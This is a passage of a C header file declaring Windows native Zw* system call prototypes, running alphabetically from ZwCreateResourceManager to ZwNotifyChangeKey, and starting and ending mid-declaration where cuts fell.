PGROUP_AFFINITY GroupAffinity\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateResourceManager(\n _Out_ PHANDLE ResourceManagerHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ HANDLE TmHandle,\n _In_ LPGUID RmGuid,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ ULONG CreateOptions,\n _In_opt_ PUNICODE_STRING Description\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateSection(\n _Out_ PHANDLE SectionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PLARGE_INTEGER MaximumSize,\n _In_ ULONG SectionPageProtection,\n _In_ ULONG AllocationAttributes,\n _In_opt_ HANDLE FileHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateSectionEx(\n _Out_ PHANDLE SectionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PLARGE_INTEGER MaximumSize,\n _In_ ULONG SectionPageProtection,\n _In_ ULONG AllocationAttributes,\n _In_opt_ HANDLE FileHandle,\n _In_ PMEM_EXTENDED_PARAMETER ExtendedParameters,\n _In_ ULONG ExtendedParameterCount\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateSemaphore(\n _Out_ PHANDLE SemaphoreHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ LONG InitialCount,\n _In_ LONG MaximumCount\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateSymbolicLinkObject(\n _Out_ PHANDLE LinkHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ PUNICODE_STRING LinkTarget\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateThread(\n _Out_ PHANDLE ThreadHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ HANDLE ProcessHandle,\n _Out_ PCLIENT_ID ClientId,\n _In_ PCONTEXT ThreadContext,\n _In_ PINITIAL_TEB InitialTeb,\n _In_ BOOLEAN CreateSuspended\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateThreadEx(\n _Out_ PHANDLE ThreadHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ HANDLE ProcessHandle,\n _In_ PVOID StartRoutine, // PUSER_THREAD_START_ROUTINE\n _In_opt_ PVOID Argument,\n _In_ ULONG CreateFlags, // THREAD_CREATE_FLAGS_*\n _In_ SIZE_T ZeroBits,\n _In_ SIZE_T StackSize,\n _In_ SIZE_T MaximumStackSize,\n _In_opt_ PPS_ATTRIBUTE_LIST AttributeList\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateTimer(\n _Out_ PHANDLE TimerHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ TIMER_TYPE TimerType\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateTimer2(\n _Out_ PHANDLE TimerHandle,\n _In_opt_ PVOID Reserved1,\n _In_opt_ PVOID Reserved2,\n _In_ ULONG Attributes,\n _In_ ACCESS_MASK DesiredAccess\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateToken(\n _Out_ PHANDLE TokenHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ TOKEN_TYPE TokenType,\n _In_ PLUID AuthenticationId,\n _In_ PLARGE_INTEGER ExpirationTime,\n _In_ PTOKEN_USER User,\n _In_ PTOKEN_GROUPS Groups,\n _In_ PTOKEN_PRIVILEGES Privileges,\n _In_opt_ PTOKEN_OWNER Owner,\n _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup,\n _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl,\n _In_ PTOKEN_SOURCE TokenSource\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateTokenEx(\n _Out_ PHANDLE TokenHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ TOKEN_TYPE TokenType,\n _In_ PLUID AuthenticationId,\n _In_ PLARGE_INTEGER ExpirationTime,\n _In_ PTOKEN_USER User,\n _In_ PTOKEN_GROUPS Groups,\n _In_ PTOKEN_PRIVILEGES Privileges,\n _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION UserAttributes,\n _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION DeviceAttributes,\n _In_opt_ PTOKEN_GROUPS DeviceGroups,\n _In_opt_ PTOKEN_MANDATORY_POLICY TokenMandatoryPolicy,\n _In_opt_ PTOKEN_OWNER Owner,\n _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup,\n _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl,\n _In_ PTOKEN_SOURCE TokenSource\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateTransaction(\n _Out_ PHANDLE TransactionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ LPGUID Uow,\n _In_opt_ HANDLE TmHandle,\n _In_opt_ ULONG CreateOptions,\n _In_opt_ ULONG IsolationLevel,\n _In_opt_ ULONG IsolationFlags,\n _In_opt_ PLARGE_INTEGER Timeout,\n _In_opt_ PUNICODE_STRING Description\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateTransactionManager(\n _Out_ PHANDLE TmHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PUNICODE_STRING LogFileName,\n _In_opt_ ULONG CreateOptions,\n _In_opt_ ULONG CommitStrength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateUserProcess(\n _Out_ PHANDLE ProcessHandle,\n _Out_ PHANDLE ThreadHandle,\n _In_ ACCESS_MASK ProcessDesiredAccess,\n _In_ ACCESS_MASK ThreadDesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes,\n _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes,\n _In_ ULONG ProcessFlags, // PROCESS_CREATE_FLAGS_*\n _In_ ULONG ThreadFlags, // THREAD_CREATE_FLAGS_*\n _In_opt_ PVOID ProcessParameters, // PRTL_USER_PROCESS_PARAMETERS\n _Inout_ PPS_CREATE_INFO CreateInfo,\n _In_opt_ PPS_ATTRIBUTE_LIST AttributeList\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateWaitablePort(\n _Out_ PHANDLE PortHandle,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ ULONG MaxConnectionInfoLength,\n _In_ ULONG MaxMessageLength,\n _In_opt_ ULONG MaxPoolUsage\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateWaitCompletionPacket(\n _Out_ PHANDLE WaitCompletionPacketHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateWnfStateName(\n _Out_ PWNF_STATE_NAME StateName,\n _In_ WNF_STATE_NAME_LIFETIME NameLifetime,\n _In_ WNF_DATA_SCOPE DataScope,\n _In_ BOOLEAN PersistData,\n _In_opt_ PCWNF_TYPE_ID TypeId,\n _In_ ULONG MaximumStateSize,\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateWorkerFactory(\n _Out_ PHANDLE WorkerFactoryHandleReturn,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ HANDLE CompletionPortHandle,\n _In_ HANDLE WorkerProcessHandle,\n _In_ PVOID StartRoutine,\n _In_opt_ PVOID StartParameter,\n _In_opt_ ULONG MaxThreadCount,\n _In_opt_ SIZE_T StackReserve,\n _In_opt_ SIZE_T StackCommit\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDebugActiveProcess(\n _In_ HANDLE ProcessHandle,\n _In_ HANDLE DebugObjectHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDebugContinue(\n _In_ HANDLE DebugObjectHandle,\n _In_ PCLIENT_ID ClientId,\n _In_ NTSTATUS ContinueStatus\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDelayExecution(\n _In_ BOOLEAN Alertable,\n _In_opt_ PLARGE_INTEGER DelayInterval\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDeleteAtom(\n _In_ RTL_ATOM Atom\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDeleteBootEntry(\n _In_ ULONG Id\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDeleteDriverEntry(\n _In_ ULONG Id\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDeleteFile(\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDeleteKey(\n _In_ HANDLE KeyHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDeleteObjectAuditAlarm(\n _In_ PUNICODE_STRING SubsystemName,\n _In_opt_ PVOID HandleId,\n _In_ BOOLEAN GenerateOnClose\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDeletePrivateNamespace(\n _In_ HANDLE NamespaceHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDeleteValueKey(\n _In_ HANDLE KeyHandle,\n _In_ PUNICODE_STRING ValueName\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDeleteWnfStateData(\n _In_ PCWNF_STATE_NAME StateName,\n _In_opt_ const VOID *ExplicitScope\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDeleteWnfStateName(\n _In_ PCWNF_STATE_NAME StateName\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDeviceIoControlFile(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ ULONG IoControlCode,\n _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer,\n _In_ ULONG InputBufferLength,\n _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer,\n _In_ ULONG OutputBufferLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDisableLastKnownGood(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDisplayString(\n _In_ PUNICODE_STRING String\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDrawText(\n _In_ PUNICODE_STRING Text\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDuplicateObject(\n _In_ HANDLE SourceProcessHandle,\n _In_ HANDLE SourceHandle,\n _In_opt_ HANDLE TargetProcessHandle,\n _Out_opt_ PHANDLE TargetHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ ULONG HandleAttributes,\n _In_ ULONG Options\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwDuplicateToken(\n _In_ HANDLE ExistingTokenHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ BOOLEAN EffectiveOnly,\n _In_ TOKEN_TYPE TokenType,\n _Out_ PHANDLE NewTokenHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwEnableLastKnownGood(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwEnumerateBootEntries(\n _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer,\n _Inout_ PULONG BufferLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwEnumerateDriverEntries(\n _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer,\n _Inout_ PULONG BufferLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwEnumerateKey(\n _In_ HANDLE KeyHandle,\n _In_ ULONG Index,\n _In_ KEY_INFORMATION_CLASS KeyInformationClass,\n _Out_writes_bytes_opt_(Length) PVOID KeyInformation,\n _In_ ULONG Length,\n _Out_ PULONG ResultLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwEnumerateSystemEnvironmentValuesEx(\n _In_ ULONG InformationClass,\n _Out_ PVOID Buffer,\n _Inout_ PULONG BufferLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwEnumerateTransactionObject(\n _In_opt_ HANDLE RootObjectHandle,\n _In_ KTMOBJECT_TYPE QueryType,\n _Inout_updates_bytes_(ObjectCursorLength) PKTMOBJECT_CURSOR ObjectCursor,\n _In_ ULONG ObjectCursorLength,\n _Out_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwEnumerateValueKey(\n _In_ HANDLE KeyHandle,\n _In_ ULONG Index,\n _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,\n _Out_writes_bytes_opt_(Length) PVOID KeyValueInformation,\n _In_ ULONG Length,\n _Out_ PULONG ResultLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwExtendSection(\n _In_ HANDLE SectionHandle,\n _Inout_ PLARGE_INTEGER NewSectionSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwFilterBootOption(\n _In_ FILTER_BOOT_OPTION_OPERATION FilterOperation,\n _In_ ULONG ObjectType,\n _In_ ULONG ElementType,\n _In_reads_bytes_opt_(DataSize) PVOID Data,\n _In_ ULONG DataSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwFilterToken(\n _In_ HANDLE ExistingTokenHandle,\n _In_ ULONG Flags,\n _In_opt_ PTOKEN_GROUPS SidsToDisable,\n _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete,\n _In_opt_ PTOKEN_GROUPS RestrictedSids,\n _Out_ PHANDLE NewTokenHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwFilterTokenEx(\n _In_ HANDLE ExistingTokenHandle,\n _In_ ULONG Flags,\n _In_opt_ PTOKEN_GROUPS SidsToDisable,\n _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete,\n _In_opt_ PTOKEN_GROUPS RestrictedSids,\n _In_ ULONG DisableUserClaimsCount,\n _In_opt_ PUNICODE_STRING UserClaimsToDisable,\n _In_ ULONG DisableDeviceClaimsCount,\n _In_opt_ PUNICODE_STRING DeviceClaimsToDisable,\n _In_opt_ PTOKEN_GROUPS DeviceGroupsToDisable,\n _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedUserAttributes,\n _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedDeviceAttributes,\n _In_opt_ PTOKEN_GROUPS RestrictedDeviceGroups,\n _Out_ PHANDLE NewTokenHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwFindAtom(\n _In_reads_bytes_opt_(Length) PWSTR AtomName,\n _In_ ULONG Length,\n _Out_opt_ PRTL_ATOM Atom\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwFlushBuffersFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwFlushBuffersFileEx(\n _In_ HANDLE FileHandle,\n _In_ ULONG Flags,\n _In_reads_bytes_(ParametersSize) PVOID Parameters,\n _In_ ULONG ParametersSize,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwFlushInstallUILanguage(\n _In_ LANGID InstallUILanguage,\n _In_ ULONG SetComittedFlag\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwFlushInstructionCache(\n _In_ HANDLE ProcessHandle,\n _In_opt_ PVOID BaseAddress,\n _In_ SIZE_T Length\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwFlushKey(\n _In_ HANDLE KeyHandle\n );\n\nNTSYSCALLAPI\nVOID\nNTAPI\nZwFlushProcessWriteBuffers(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwFlushWriteBuffer(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwFreeUserPhysicalPages(\n _In_ HANDLE ProcessHandle,\n _Inout_ PULONG_PTR NumberOfPages,\n _In_reads_(*NumberOfPages) PULONG_PTR UserPfnArray\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwFreeVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _Inout_ PVOID *BaseAddress,\n _Inout_ PSIZE_T RegionSize,\n _In_ ULONG FreeType\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwFreezeRegistry(\n _In_ ULONG TimeOutInSeconds\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwFreezeTransactions(\n _In_ PLARGE_INTEGER FreezeTimeout,\n _In_ PLARGE_INTEGER ThawTimeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwFsControlFile(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ ULONG FsControlCode,\n _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer,\n _In_ ULONG InputBufferLength,\n _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer,\n _In_ ULONG OutputBufferLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwGetCachedSigningLevel(\n _In_ HANDLE File,\n _Out_ PULONG Flags,\n _Out_ PSE_SIGNING_LEVEL SigningLevel,\n _Out_writes_bytes_to_opt_(*ThumbprintSize, *ThumbprintSize) PUCHAR Thumbprint,\n _Inout_opt_ PULONG ThumbprintSize,\n _Out_opt_ PULONG ThumbprintAlgorithm\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwGetCompleteWnfStateSubscription(\n _In_opt_ PWNF_STATE_NAME OldDescriptorStateName,\n _In_opt_ ULONG64 *OldSubscriptionId,\n _In_opt_ ULONG OldDescriptorEventMask,\n _In_opt_ ULONG OldDescriptorStatus,\n _Out_writes_bytes_(DescriptorSize) PWNF_DELIVERY_DESCRIPTOR NewDeliveryDescriptor,\n _In_ ULONG DescriptorSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwGetContextThread(\n _In_ HANDLE ThreadHandle,\n _Inout_ PCONTEXT ThreadContext\n );\n\nNTSYSCALLAPI\nULONG\nNTAPI\nZwGetCurrentProcessorNumber(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwGetDevicePowerState(\n _In_ HANDLE Device,\n _Out_ PDEVICE_POWER_STATE State\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwGetMUIRegistryInfo(\n _In_ ULONG Flags,\n _Inout_ PULONG DataSize,\n _Out_ PVOID Data\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwGetNextProcess(\n _In_opt_ HANDLE ProcessHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ ULONG HandleAttributes,\n _In_ ULONG Flags,\n _Out_ PHANDLE NewProcessHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwGetNextThread(\n _In_ HANDLE ProcessHandle,\n _In_ HANDLE ThreadHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ ULONG HandleAttributes,\n _In_ ULONG Flags,\n _Out_ PHANDLE NewThreadHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwGetNlsSectionPtr(\n _In_ ULONG SectionType,\n _In_ ULONG SectionData,\n _In_ PVOID ContextData,\n _Out_ PVOID *SectionPointer,\n _Out_ PULONG SectionSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwGetNotificationResourceManager(\n _In_ HANDLE ResourceManagerHandle,\n _Out_ PTRANSACTION_NOTIFICATION TransactionNotification,\n _In_ ULONG NotificationLength,\n _In_opt_ PLARGE_INTEGER Timeout,\n _Out_opt_ PULONG ReturnLength,\n _In_ ULONG Asynchronous,\n _In_opt_ ULONG_PTR AsynchronousContext\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwGetPlugPlayEvent(\n _In_ HANDLE EventHandle,\n _In_opt_ PVOID Context,\n _Out_writes_bytes_(EventBufferSize) PPLUGPLAY_EVENT_BLOCK EventBlock,\n _In_ ULONG EventBufferSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwGetWriteWatch(\n _In_ HANDLE ProcessHandle,\n _In_ ULONG Flags,\n _In_ PVOID BaseAddress,\n _In_ SIZE_T RegionSize,\n _Out_writes_(*EntriesInUserAddressArray) PVOID *UserAddressArray,\n _Inout_ PULONG_PTR EntriesInUserAddressArray,\n _Out_ PULONG Granularity\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwImpersonateAnonymousToken(\n _In_ HANDLE ThreadHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwImpersonateClientOfPort(\n _In_ HANDLE PortHandle,\n _In_ PPORT_MESSAGE Message\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwImpersonateThread(\n _In_ HANDLE ServerThreadHandle,\n _In_ HANDLE ClientThreadHandle,\n _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwInitializeNlsFiles(\n _Out_ PVOID *BaseAddress,\n _Out_ PLCID DefaultLocaleId,\n _Out_ PLARGE_INTEGER DefaultCasingTableSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwInitializeRegistry(\n _In_ USHORT BootCondition\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwInitiatePowerAction(\n _In_ POWER_ACTION SystemAction,\n _In_ SYSTEM_POWER_STATE LightestSystemState,\n _In_ ULONG Flags, // POWER_ACTION_* flags\n _In_ BOOLEAN Asynchronous\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwIsProcessInJob(\n _In_ HANDLE ProcessHandle,\n _In_opt_ HANDLE JobHandle\n );\n\nNTSYSCALLAPI\nBOOLEAN\nNTAPI\nZwIsSystemResumeAutomatic(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwIsUILanguageComitted(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwListenPort(\n _In_ HANDLE PortHandle,\n _Out_ PPORT_MESSAGE ConnectionRequest\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwLoadDriver(\n _In_ PUNICODE_STRING DriverServiceName\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwLoadKey(\n _In_ POBJECT_ATTRIBUTES TargetKey,\n _In_ POBJECT_ATTRIBUTES SourceFile\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwLoadKey2(\n _In_ POBJECT_ATTRIBUTES TargetKey,\n _In_ POBJECT_ATTRIBUTES SourceFile,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwLoadKeyEx(\n _In_ POBJECT_ATTRIBUTES TargetKey,\n _In_ POBJECT_ATTRIBUTES SourceFile,\n _In_ ULONG Flags,\n _In_opt_ HANDLE TrustClassKey,\n _In_opt_ HANDLE Event,\n _In_opt_ ACCESS_MASK DesiredAccess,\n _Out_opt_ PHANDLE RootHandle,\n _Out_opt_ PIO_STATUS_BLOCK IoStatus\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwLockFile(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ PLARGE_INTEGER ByteOffset,\n _In_ PLARGE_INTEGER Length,\n _In_ ULONG Key,\n _In_ BOOLEAN FailImmediately,\n _In_ BOOLEAN ExclusiveLock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwLockProductActivationKeys(\n _Inout_opt_ ULONG *pPrivateVer,\n _Out_opt_ ULONG *pSafeMode\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwLockRegistryKey(\n _In_ HANDLE KeyHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwLockVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _Inout_ PVOID *BaseAddress,\n _Inout_ PSIZE_T RegionSize,\n _In_ ULONG MapType\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwMakePermanentObject(\n _In_ HANDLE Handle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwMakeTemporaryObject(\n _In_ HANDLE Handle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwManagePartition(\n _In_ MEMORY_PARTITION_INFORMATION_CLASS PartitionInformationClass,\n _In_ PVOID PartitionInformation,\n _In_ ULONG PartitionInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwMapCMFModule(\n _In_ ULONG What,\n _In_ ULONG Index,\n _Out_opt_ PULONG CacheIndexOut,\n _Out_opt_ PULONG CacheFlagsOut,\n _Out_opt_ PULONG ViewSizeOut,\n _Out_opt_ PVOID *BaseAddress\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwMapUserPhysicalPages(\n _In_ PVOID VirtualAddress,\n _In_ ULONG_PTR NumberOfPages,\n _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwMapUserPhysicalPagesScatter(\n _In_reads_(NumberOfPages) PVOID *VirtualAddresses,\n _In_ ULONG_PTR NumberOfPages,\n _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwMapViewOfSection(\n _In_ HANDLE SectionHandle,\n _In_ HANDLE ProcessHandle,\n _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID *BaseAddress,\n _In_ ULONG_PTR ZeroBits,\n _In_ SIZE_T CommitSize,\n _Inout_opt_ PLARGE_INTEGER SectionOffset,\n _Inout_ PSIZE_T ViewSize,\n _In_ SECTION_INHERIT InheritDisposition,\n _In_ ULONG AllocationType,\n _In_ ULONG Win32Protect\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwModifyBootEntry(\n _In_ PBOOT_ENTRY BootEntry\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwModifyDriverEntry(\n _In_ PEFI_DRIVER_ENTRY DriverEntry\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwNotifyChangeDirectoryFile(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID Buffer, // FILE_NOTIFY_INFORMATION\n _In_ ULONG Length,\n _In_ ULONG CompletionFilter,\n _In_ BOOLEAN WatchTree\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwNotifyChangeDirectoryFileEx(\n _In_ HANDLE FileHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _Out_writes_bytes_(Length) PVOID Buffer,\n _In_ ULONG Length,\n _In_ ULONG CompletionFilter,\n _In_ BOOLEAN WatchTree,\n _In_opt_ DIRECTORY_NOTIFY_INFORMATION_CLASS DirectoryNotifyInformationClass\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwNotifyChangeKey(\n _In_ HANDLE KeyHandle,\n _In_opt_ HANDLE Event,\n _In_opt_ PIO_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcContext,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ ULONG CompletionFilter,\n _In_ BOOLEAN WatchTree,\n _Out_writes_bytes_opt_(BufferSize) PVOID 